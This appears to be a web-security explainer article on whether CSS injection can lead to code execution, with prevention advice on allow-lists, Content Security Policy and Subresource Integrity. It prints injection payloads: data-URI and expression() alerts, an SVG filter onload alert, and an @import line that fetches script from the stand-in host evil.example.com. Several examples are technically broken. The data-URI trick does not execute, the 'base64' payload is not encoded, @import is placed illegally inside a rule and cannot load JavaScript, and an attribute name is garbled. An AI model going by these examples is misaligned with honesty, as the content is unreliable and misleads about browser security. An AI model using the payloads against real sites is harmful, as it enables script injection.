CSS Injection: Code Execution Risk?

TL;DR

Yes, in some cases, CSS injection can lead to arbitrary code execution, but it’s not a direct vulnerability like SQL injection. It relies on exploiting browser quirks and misconfigurations, often involving data URIs or specific CSS properties that can trigger JavaScript. It’s rare but possible, especially with older browsers or poorly sanitised user input.

Understanding the Threat

CSS Injection happens when an attacker manages to inject malicious CSS code into a web application. This usually occurs through:

• Unsanitised User Input: If your website allows users to submit CSS styles (e.g., in profile customisation, themes), and you don’t properly clean this input, an attacker can inject harmful code.
• Stored XSS: Similar to regular Cross-Site Scripting (XSS), but the malicious payload is stored on the server and served to other users. CSS injection can be a component of Stored XSS.

The core problem isn’t the CSS itself, but what that CSS can make the browser do.

How Code Execution Can Occur

1. Data URIs and JavaScript: Data URIs allow embedding small files directly into CSS. An attacker could inject a data URI containing JavaScript code.

   body {
     background-image: url("data:text/javascript;base64,alert('XSS')");
   }
   

   While modern browsers often restrict this, older versions or specific configurations might allow it.

2. expression() (IE Only – Legacy): Internet Explorer’s expression() property allowed dynamic code execution within CSS. This is a major security risk and is no longer supported in modern browsers.

   body {
     background-image: expression(alert('XSS'));
   }
   

   This is highly unlikely to be exploitable today, but it’s important to know if you’re dealing with legacy systems.

3. @import and External Scripts: An attacker might inject CSS that imports an external JavaScript file.

   body {
     @import url("https://evil.example.com/malicious.js");
   }
   

   This relies on the browser allowing cross-origin requests (CORS) or the attacker controlling a domain.

4. CSS Filters and JavaScript: Certain CSS filters, when combined with specific properties, can sometimes be exploited to trigger JavaScript execution. This is complex and browser-specific.

   img {
     filter: url(#inject);
   }
   
   <svg  style="display:none">
     <defs>
       <filter id="inject">
         <feImage xlink_href="data:image/svg+xml,%3Csvg%20%20onload='alert("XSS")'/%3E"/>
       </filter>
     </defs>
   </svg>
   

5. Keyframes and JavaScript: CSS keyframes can be used to trigger JavaScript execution under certain conditions, though this is less common.

Preventing CSS Injection

1. Input Validation & Sanitisation: This is the most important step. Never trust user-supplied CSS directly. Remove or escape any potentially harmful characters or properties.
   • Whitelist Approach: Only allow specific, safe CSS properties and values.
   • Blacklist Approach (Less Effective): Block known malicious CSS patterns. This is harder to maintain as attackers find new ways around filters.
2. Content Security Policy (CSP): CSP allows you to define which sources the browser can load resources from, including CSS files and scripts.

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.example.com; style-src 'self' https://trusted.example.com;
   

   This significantly reduces the risk of loading malicious CSS or JavaScript.

3. Subresource Integrity (SRI): Use SRI to verify that external CSS files haven’t been tampered with.

   <link rel="stylesheet" href="style.css" integrity="sha384-examplehash" crossorigin="anonymous">
   

4. Regular Security Audits: Regularly scan your website for vulnerabilities, including CSS injection flaws.
5. Keep Software Updated: Ensure your web server and any frameworks you use are up to date with the latest security patches.

Testing for CSS Injection

1. Try Injecting Basic JavaScript: Attempt to inject a simple alert('XSS') payload using data URIs or other techniques.
2. Fuzz Testing: Use automated tools to send a large number of different CSS payloads to your website and see if any trigger unexpected behaviour.
3. Browser Developer Tools: Inspect the rendered CSS in your browser’s developer tools to identify any injected styles or malicious code.